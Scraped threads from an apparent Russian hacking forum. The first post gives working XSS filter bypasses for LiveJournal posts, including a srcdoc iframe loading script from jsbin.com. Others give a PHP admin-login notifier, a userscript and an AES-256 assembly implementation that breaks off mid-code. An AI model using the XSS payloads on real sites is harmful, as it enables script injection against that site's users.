XSS уязвимости в LiveJournal.com
ID: 67668b27b4103b69df375e0b
Thread ID: 24321
Created: 2013-06-19T01:47:49+0000
Last Post: 2014-05-20T15:47:36+0000
Author: malayazemlya
Replies: 2 Views: 2K

Не знаю, насколько полезно, но пусть будет.

Несколько багов, позволяющих размещать в постах и коментах в livejournal.com недозволенную всячину.

Во-первых, не фильтруется атрибут srcdoc в теге iframe

Code:Copy to clipboard

<iframe width="10"
height="10"
src="http://www.youtube.com/embed/8EMZoCChpqY?rel=0&amp;wmode=opaque" frameborder="0" allowfullscreen="allowfullscreen"
srcdoc="&lt;script src=http://jsbin.com/uhabov/1/&gt;&lt;/script&gt;">

Во-вторых, если iframe дать атрибут name, то можно перенаправить этот iframe на неразрешенный url (Обычно ЖЖ позволяет айфреймить только сайты из "белого списка", вроде Youtube итп) Для этого надо как-то заставить пользователя кликнуть на линк - например, нарисовав поддельный "кат"

Code:Copy to clipboard

<iframe name="ifr" width="560" height="315" src="http://www.youtube.com/embed/KhrteSZXFzM?rel=0" frameborder="0" allowfullscreen></iframe>

<a target="ifr" href="http://jsbin.com/ugoduw/2/">Read more...</a>)

В-третьих, можно обойти фильтрацию URL-ов с протоколом data, добавив в начало символ новой строки:

Code:Copy to clipboard

(<a href="
data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;">Read more...</a>)
Пишем нотифаер для админки
ID: 67668b27b4103b69df375e0c
Thread ID: 25172
Created: 2014-05-02T19:20:40+0000
Last Post: 2014-05-04T16:07:29+0000
Author: Ar3s
Replies: 2 Views: 2K

Возникла вдруг идея написания небольшой тулзочки для информирования меня любимого о попытках входа в админку любимого форума. Знаний php мало, энтузиазма много. Приступаем.

На просторах интернета находим xmpphp набор компонентов для работы с xmpp протоколом средствами php. Качаем и разбираемся.
Использовать набор оказывается довольно не сложно. Начинаем пилить. В первую очередь создаем нужный .htaccess. Ограничиваем вход только для нужных Ip адресов.

Code:Copy to clipboard

ErrorDocument 403 https://xss.is/admin.php
Order deny,allow
Deny from all
Allow from xxx.xx.xxx.xxx
Allow from xx.xxx.xx.xxx

Да, согласен, вариант для статичных Ip. Но мы же с вами юзаем vpn со статичным адресом.

Нужно сделать два информирования.
1. когда входит легальный пользователь
2. когда входит (пытается войти) злая редиска

Для этого создадим файл с названием note.php

Code:Copy to clipboard

<?php
error_reporting(0);
include("./toolz/xmpp.php");

function note($ip, $name, $time)
	{
	try {
  $mess="!!!Вход!!!\nIp=$ip\nName=$name\nTime=$time";
  $conn = new XMPPHP_XMPP('dlab.im', 5222, 'user', 'password', 'bot', 'dlab.im', $printlog=False);
  $conn->connect();
  $conn->processUntil('session_start');
  $conn->message('my-jabber@dlab.im', $mess);
  $conn->disconnect();
  }
	catch (Exception $e)
  {
  
  }
	}

function badadmin($ip, $cookie, $usagent, $ref, $date)
	{
	try {
  $mess="!!!Попытка входа!!!\nIp=$ip\nUserID=$cookie\nUserAgent=$usagent\nReferal=$ref\nTime=$date";
  $conn = new XMPPHP_XMPP('dlab.im', 5222, 'user', 'password', 'bot', 'dlab.im', $printlog=False);
  $conn->connect();
  $conn->processUntil('session_start');
  $conn->message('my-jabber@dlab.im', $mess);
  $conn->disconnect();
  }
	catch (Exception $e)
  {
  
  }
	}	
	
?>

Итого имеем две простейшие функции. Дергаем первую - когда легальный вход. Вторую когда редиска.

В начало admin.php (легального) добавляем:

Code:Copy to clipboard

#Добавляем нотифаер
include("../toolz/note.php");

Далее ищем авторизацию и прямо из нее дергаем нужные данные:

Code:Copy to clipboard

#Нотифаер
note($ibforums->input['IP_ADDRESS'],$mem['name'],date(DATE_RFC822));

Пабам... Нам дружно валятся сообщения об успешной авторизации. Почему именно так? А что бы в случае утечки пароля для аккаунта узнать какой именно аккаунт утек.

Теперь отработаем редисок которые по ip не прошли. В самом начале мы для таких клиентов сделали редирект на admin.php (фейковый)

Смотрим содержимое:

Code:Copy to clipboard

<?php
error_reporting(0);

#Добавляем нотифаер
include("./toolz/note.php");

#Детектим удаленный ip
function getRealIpAddr()
{
  if (!empty($_SERVER['HTTP_CLIENT_IP']))
  {
    $ip=$_SERVER['HTTP_CLIENT_IP'];
  }
  elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  {
    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
  }
  else
  {
    $ip=$_SERVER['REMOTE_ADDR'];
  }
  return $ip;
}

$ip=getRealIpAddr();
$usagent=$_SERVER['HTTP_USER_AGENT'];
$ref=$_SERVER['HTTP_REFERER'];
$cookie=$_COOKIE["member_id"];
$date=date(DATE_RFC822);

#Нотифаер
badadmin($ip, $cookie, $usagent, $ref, $date);

echo "Тут крайне обидное сообщение такой редиске!\n";

?>

Ну вот и все. Видим когда пытаются войти. Видим какой пользователь (если у него имеются куки форума то читаем id по которому узнаем ник). Ну и видим ip.

Что упустил? Ах да. НЕ успешную авторизацию при совпадении ip. Ну тут дело ровно 20 секунд. Делаем редирект на фейк-admin.php и ловим ту же инфу.

Применять можно где угодно и как угодно. Работает быстро. Нагрузки не создает. Защищать можно любую админку таким макаром.

Итог: затрачено порядка 3-4 часов. Достигнут желаемый результат. Жду критики кода и предложений по улучшению.

Изменение внешнего вида форума
ID: 67668b27b4103b69df375e0d
Thread ID: 25001
Created: 2014-02-17T15:22:28+0000
Last Post: 2014-03-04T15:18:55+0000
Author: Quake3
Replies: 5 Views: 2K

Это не статья, а что-то типа мини-заметки. Бывает ситуация, когда какой-то контент на каком-то сайте хочется убрать/изменить. Для простой ерунды вида рекламных баннеров существует adblock, но для более сложных случаев он не подойдет. Здесь поможет язык javascript, который имеет полный доступ к контенту в браузере, и может его модифицировать как угодно - удалять/изменять/добавлять нужные вам элементы.

Возьмем простой пример. При нажатии на ссылку "новые сообщения" на этом форуме выводится список непрочитанных тем. Лично меня не интересует всевозможный скамерц, и я бы не хотел видеть эти темы в выдаче. Для этого пишу скрипт:

Code:Copy to clipboard

//получаем все ячейки таблицы из столбца "Форум"
var table = document.getElementsByClassName("forumdesc");
for (var i=0; i < table.length; i++)
	{
	var title = table[i].firstChild.title.toLowerCase(); //получаем собственно имя форума
	if (title.indexOf("услуг") != -1 || title.indexOf("продаж") != -1)
  { //если одно из слов встречается в имени форума
  var tr = (table[i].parentNode).parentNode //получаем ссылку на строку таблицы
  tr.style.display = "none"; //скрываем нафиг всю строку
  }
	}

Для того, чтобы этот скрипт выполнялся при поиске новых тем, нужно установить расширение для браузера. Для firefox это Greasemonkey, для хрома - Tampermonkey, а для других браузеров ищите аналоги в гугле. Как устанавливать эти расширения и добавлять туда новые скрипты, я думаю, объяснять нет смысла. Приведу пример итогового скрипта для этих расширений:

Code:Copy to clipboard

// ==UserScript==
// @name        dlab
// @namespace   test
// @description dlab remover
// @include     *xss.is/*
// @version     1
// @grant       none
// ==/UserScript==
/*alert('debug'); */
var table = document.getElementsByClassName("forumdesc");
for (var i=0; i < table.length; i++)
	{
	var title = table[i].firstChild.title.toLowerCase();
	if (title.indexOf("услуг") != -1 || title.indexOf("продаж") != -1)
  {
  var tr = (table[i].parentNode).parentNode
  tr.style.display = "none";
  }
	}

Параметры скрипта не суть важны, кому интересно, может почитать в справке. Единственное, на что стоит обратить внимание - это параметр @include, т.е. собственно на каких страницах должен срабатывать скрипт.
Javascript дает возможность управлять страницей как угодно, можно, например, выделять темы из интересующих вас форумов другим цветом, или подсвечивать темы от определенного автора. Можно усовершенствовать вышеприведенный скрипт, чтобы он показывал, сколько тем скрыл, и добавить кнопку которая будет открывать скрытые разделы. Можно, в конце концов, сортировать таблицу по именам разделов. Возможностей множество, все зависит от ваших желаний и знаний.

Я не гуру js, возможнго код выше кривой/медленный и так далее. Любую критику по коду или по идеи в целом пишите в теме.

AES-256 encryption/decryption in assembly - FASM
ID: 67668b27b4103b69df375e0e
Thread ID: 24997
Created: 2014-02-15T07:59:03+0000
Last Post: 2014-02-16T17:00:31+0000
Author: Doisti74
Replies: 4 Views: 2K

key256 db 0x96,0x10,0x8f,0x88,0x03,0x2e,0x6e,0x21,0xfd,0x1c,0xed,0xf4,0x8c,0x7d,0x38,0xe1,0x07,0x6f,0x08,0x4a,0x6b,0x3a,0x51,0xd4,0x91,0xdc,0xd1,0x51,0xd6,0x51,0xd2,0xd5

Code:Copy to clipboard

;encryption:

push key256; AES-256 key (32 bytes)
push ebx; where content will be encrypted
push esi; pointer to clear content
push eax; size of content to be encrypted in bytes
call encAES

;decryption:

push key256; AES-256 key (32 bytes)
push decrypted; where content will be decrypted
push encrypted; pointer to encrypted content
push eax; size of content to be decrypted in bytes
call decAES





;past file below to aes.asm

;START AES.ASM

;select an AES mode
;AES128                  equ 1
;AES192                  equ 1
AES256                  equ 1

;internal constants, don't change them
;static for AES
BLOCK_SIZE              equ 16
COLUMN_SIZE             equ 4

if defined AES128
   KEY_SIZE                = 16
   EXTENDED_KEY_SIZE       = 176
   ROW_SIZE                = 4
   ENCRYPTION_ROUNDS       = 10
end if

if defined AES192
   KEY_SIZE                = 24
   EXTENDED_KEY_SIZE       = 208
   ROW_SIZE                = 6
   ENCRYPTION_ROUNDS       = 12
end if

if defined AES256
   KEY_SIZE                = 32
   EXTENDED_KEY_SIZE       = 240
   ROW_SIZE                = 8
   ENCRYPTION_ROUNDS       = 14
end if

;size of the sbox
SBOX_SIZE               equ 256

;size of the rcon table
RCON_SIZE               equ 256

;size of the Galois multiplication
;lookup tables
GALOIS_SIZE             equ 256

macro CreateSBox target, [char]
{
mov byte [target], char
inc target
}

;dynamically generate the sbox in memory
;uses hard coded values, no algorithm
proc createSBox sbox_ptr:DWORD
push eax
mov eax, [sbox_ptr]
     CreateSBox eax, 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\
                     0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\
                     0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\
                     0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\
                     0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\
                     0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\
                     0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\
                     0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\
                     0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\
                     0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\
                     0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\
                     0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\
                     0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\
                     0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\
                     0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\
                     0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
pop eax
ret
endp

;the inverted sbox for decryption
proc createInvertSBox sbox_ptr:DWORD
push eax
mov eax, [sbox_ptr]
     CreateSBox eax, 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,\
                     0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,\
                     0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,\
                     0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,\
                     0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,\
                     0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,\
                     0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,\
                     0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,\
                     0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,\
                     0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,\
                     0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,\
                     0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,\
                     0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,\
                     0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,\
                     0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,\
                     0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
pop eax
ret
endp

macro CreateRcon target, [char]
{
mov byte [target], char
inc target
}

;dynamically generate the rcon in memory
;uses hard coded values, no algorithm
proc createRcon rcon_ptr:DWORD
push eax
mov eax, [rcon_ptr]
     CreateRcon eax, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,\
                     0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,\
                     0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,\
                     0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,\
                     0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,\
                     0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,\
                     0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,\
                     0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,\
                     0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,\
                     0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,\
                     0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,\
                     0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,\
                     0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,\
                     0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,\
                     0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,\
                     0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d
pop eax
ret
endp

;creates the round keys in keychain_ptr
if defined AES128
proc createKeyChain keychain_ptr:DWORD, sbox_ptr:DWORD,\
                    rcon_ptr:DWORD

local current_row:DWORD

    ;current column in ecx
mov ecx, ROW_SIZE-1
    ;current rcon index in edx
mov edx, 1

key_schedule_round:
    ;-------------------
    ;get current column, apply key schedule core and
    ;xor the result with ecx-ROW_SIZE-1
stdcall loadColumn, [keychain_ptr], ecx
    ;shift rows
rol eax,8
    ;substitute with sbox
stdcall subBytes, eax, [sbox_ptr]
    ;xor with rcon
stdcall xorRcon, eax, [rcon_ptr], edx
inc edx
    ;xor with column at index-ROW_SIZE-1
mov ebx,eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
    ;store at index+1
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
    ;-------------------

    ;-------------------
    ;three times: get current column and
    ;xor it with ecx-ROW_SIZE-1
rept 3{
stdcall loadColumn, [keychain_ptr], ecx;can be removed
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
}
    ;-------------------

    ;check for end of keychain generation
cmp ecx, EXTENDED_KEY_SIZE/COLUMN_SIZE - 1
jne key_schedule_round

ret
endp
end if

if defined AES192
proc createKeyChain keychain_ptr:DWORD, sbox_ptr:DWORD,\
                    rcon_ptr:DWORD

local current_row:DWORD

    ;current column in ecx
mov ecx, ROW_SIZE-1
    ;current rcon index in edx
mov edx, 1

key_schedule_round:
    ;-------------------
    ;get current column, apply key schedule core and
    ;xor the result with ecx-ROW_SIZE-1
stdcall loadColumn, [keychain_ptr], ecx
    ;shift rows
rol eax,8
    ;substitute with sbox
stdcall subBytes, eax, [sbox_ptr]
    ;xor with rcon
stdcall xorRcon, eax, [rcon_ptr], edx
inc edx
    ;xor with column at index-ROW_SIZE-1
mov ebx,eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
    ;store at index+1
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
    ;-------------------

    ;-------------------
    ;three times: get current column and
    ;xor it with ecx-ROW_SIZE-1
     rept 3{
stdcall loadColumn, [keychain_ptr], ecx;can be removed
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
}
    ;-------------------

    ;check for end of keychain generation
cmp ecx, EXTENDED_KEY_SIZE/COLUMN_SIZE - 1
je exit_key_schedule_round

    ;-------------------
    ;two times: get current column and
    ;xor it with ecx-ROW_SIZE-1
rept 2{
stdcall loadColumn, [keychain_ptr], ecx;can be removed
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
}
    ;-------------------

jmp key_schedule_round

exit_key_schedule_round:
ret
endp
end if

if defined AES256
proc createKeyChain keychain_ptr:DWORD, sbox_ptr:DWORD,\
                    rcon_ptr:DWORD

local current_row:DWORD

    ;current column in ecx
mov ecx, ROW_SIZE-1
    ;current rcon index in edx
mov edx, 1

key_schedule_round:
    ;-------------------
    ;get current column, apply key schedule core and
    ;xor the result with ecx-ROW_SIZE-1
stdcall loadColumn, [keychain_ptr], ecx
    ;shift rows
rol eax,8
    ;substitute with sbox
stdcall subBytes, eax, [sbox_ptr]
    ;xor with rcon
stdcall xorRcon, eax, [rcon_ptr], edx
inc edx
    ;xor with column at index-ROW_SIZE-1
mov ebx,eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
    ;store at index+1
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
    ;-------------------

    ;-------------------
    ;three times: get current column and
    ;xor it with ecx-ROW_SIZE-1
rept 3{
stdcall loadColumn, [keychain_ptr], ecx;can be removed
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
}
    ;-------------------

    ;check for end of keychain generation
cmp ecx, EXTENDED_KEY_SIZE/COLUMN_SIZE - 1
je exit_key_schedule_round

    ;-------------------
    ;one times: get current column, subsitute with
    ;sbox and xor it with ecx-ROW_SIZE-1
    ;three times: get current column and
    ;xor it with ecx-ROW_SIZE-1
stdcall loadColumn, [keychain_ptr], ecx;can be removed
stdcall subBytes, eax, [sbox_ptr]
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
    ;three times
rept 3{
stdcall loadColumn, [keychain_ptr], ecx;can be removed
mov ebx, eax
push ecx
sub ecx,ROW_SIZE-1
stdcall loadColumn, [keychain_ptr],ecx
pop ecx
xor eax,ebx
inc ecx
stdcall storeColumn, eax, [keychain_ptr], ecx
}
    ;-------------------

jmp key_schedule_round

exit_key_schedule_round:
ret
endp
end if

;store a column at column_index in keychain
proc storeColumn column:DWORD, keychain_ptr:DWORD, column_index:DWORD
push eax
push ebx
push edx

    ;create pointer to first byte of the column
    ;and store column there
mov eax, [column_index]
mov ebx, COLUMN_SIZE
mul ebx
add eax, [keychain_ptr]
mov ebx, [column]
mov [eax], ebx

pop edx
pop ebx
pop eax
ret
endp

;xor key dword with (rcon(index) 00 00 00)
proc xorRcon key:DWORD, rcon_ptr:DWORD, rcon_index:DWORD
push ebx
mov eax,[rcon_index]
mov ebx,[rcon_ptr]
xlatb
shl eax,24
mov ebx,[key]
xor eax,ebx
pop ebx
ret
endp

;returns in eax the column at column_index in the key chain
proc loadColumn keychain_ptr:DWORD, column_index:DWORD
push ebx
push edx
    ;create pointer to first byte of the colum
mov eax, [column_index]
mov ebx, COLUMN_SIZE
mul ebx
add eax, [keychain_ptr]
    ;return dword and exit
mov eax,[eax]
pop edx
pop ebx
ret
endp

;substitute subkey's bytes with the sbox
proc subBytes subkey:DWORD, sbox_ptr:DWORD
push ebx
mov eax, [subkey]
mov ebx, [sbox_ptr]
xlatb
ror eax, 8
xlatb
ror eax, 8
xlatb
ror eax, 8
xlatb
ror eax, 8
pop ebx
ret
endp

;uses the generated round keys to encrypt an aes block
proc encryptionRounds encryption_ptr:DWORD,\
     roundkeys_ptr:DWORD, sbox_ptr:DWORD, mul2_table_ptr:DWORD, \
     mul3_table_ptr:DWORD
pushad

   ;roundkey and encryption in eax and ebx
mov eax,[roundkeys_ptr]
mov ebx,[encryption_ptr]

   ;initial round
stdcall addRoundKey, ebx, eax

   ;main round
add eax,BLOCK_SIZE
mov ecx,ENCRYPTION_ROUNDS - 1
er_main:
stdcall subBlockBytes, ebx, [sbox_ptr]
stdcall shiftRows, ebx
stdcall mixColumns23, ebx, [mul2_table_ptr], [mul3_table_ptr]
stdcall addRoundKey, ebx, eax

add eax,BLOCK_SIZE
dec ecx
jnz er_main

   ;final round
stdcall subBlockBytes, ebx, [sbox_ptr]
stdcall shiftRows, ebx
stdcall addRoundKey, ebx, eax

popad
ret
endp

;mix columns operation is a column matrix
;multiplication
proc mixColumns23, data_ptr:DWORD, mul2_table_ptr:DWORD,\
     mul3_table_ptr:DWORD

local current_column:DWORD

push edx
push eax
push ebx
push ecx
mov edx, [data_ptr]

rept 4{
   ;element 3
mov eax, [edx]
mov cl, al
shr eax,8
xor cl, al
shr eax,8
mov ebx, [mul3_table_ptr]
xlatb
xor cl, al
shr eax,8
mov ebx, [mul2_table_ptr]
xlatb
xor cl, al
mov [current_column], ecx
   ;element 2
mov eax, [edx]
mov cl, al
shr eax, 8
mov ebx, [mul3_table_ptr]
xlatb
xor cl, al
shr eax, 8
mov ebx, [mul2_table_ptr]
xlatb
xor cl, al
shr eax, 8
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
mov [current_column], eax
   ;element 1
mov eax, [edx]
mov ebx, [mul3_table_ptr]
xlatb
mov cl, al
shr eax, 8
mov ebx, [mul2_table_ptr]
xlatb
xor cl, al
shr eax, 8
xor cl, al
shr eax, 8
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
mov [current_column], eax
   ;element 0
mov eax, [edx]
mov ebx, [mul2_table_ptr]
xlatb
mov cl, al
shr eax, 8
xor cl, al
shr eax, 8
xor cl, al
shr eax, 8
mov ebx, [mul3_table_ptr]
xlatb
xor cl, al
mov eax, [current_column]
shl eax, 8
mov al, cl
   ;finished, store it
mov [edx], eax
add edx, COLUMN_SIZE
}

pop ecx
pop ebx
pop eax
pop edx
ret

endp

;shifts the rows as desrcibed in the AES specification
;the shift process is in the reversed order because of the
;endiannes
macro loadRow{
mov al, byte [ebx+00]
shl eax,8
mov al, byte [ebx+04]
shl eax,8
mov al, byte [ebx+08]
shl eax,8
mov al, byte [ebx+12]
}

macro storeRow{
mov byte [ebx+12], al
shr eax,8
mov byte [ebx+08], al
shr eax,8
mov byte [ebx+04], al
shr eax,8
mov byte [ebx+00], al
}

proc shiftRows, data_ptr:DWORD

push eax
push ebx
mov ebx,[data_ptr]

loadRow
rol eax, 24
storeRow
inc ebx
loadRow
rol eax, 16
storeRow
inc ebx
loadRow
rol eax, 8
storeRow

pop ebx
pop eax
ret

endp

;xors the data with the round key and stores result
;in data
proc addRoundKey data_ptr:DWORD, round_key_ptr:DWORD

push eax
push ebx
push edx

mov eax,[data_ptr]
mov ebx,[round_key_ptr]
rept 4{
mov edx,[eax]
xor edx,[ebx]
mov [eax],edx
add eax,COLUMN_SIZE
add ebx,COLUMN_SIZE
}

pop edx
pop ebx
pop eax
ret

endp

;substitute aes block with s-box
proc subBlockBytes data_ptr:DWORD, sbox_ptr:DWORD

push eax
push ebx
push edx
mov ebx, [sbox_ptr]
mov edx, [data_ptr]

rept 4{
mov eax, [edx]
xlatb
ror eax, 8
xlatb
ror eax, 8
xlatb
ror eax, 8
xlatb
ror eax, 8
mov [edx], eax
add edx, COLUMN_SIZE
}

pop edx
pop ebx
pop eax
ret

endp

;uses the generated round keys to decrypt an aes block
proc decryptionRounds decryption_ptr:DWORD,\
     roundkeys_ptr:DWORD, inverse_sbox_ptr:DWORD, mul9_table_ptr:DWORD, \
     mul11_table_ptr:DWORD, mul13_table_ptr:DWORD,\
     mul14_table_ptr:DWORD

pushad

   ;roundkey and decryption in eax and ebx
mov eax, [roundkeys_ptr]
add eax, BLOCK_SIZE*ENCRYPTION_ROUNDS
mov ebx, [decryption_ptr]

   ;final round
stdcall addRoundKey, ebx, eax
stdcall inverseShiftRows, ebx
stdcall subBlockBytes, ebx, [inverse_sbox_ptr]
sub eax,BLOCK_SIZE

   ;main round
dr_main:
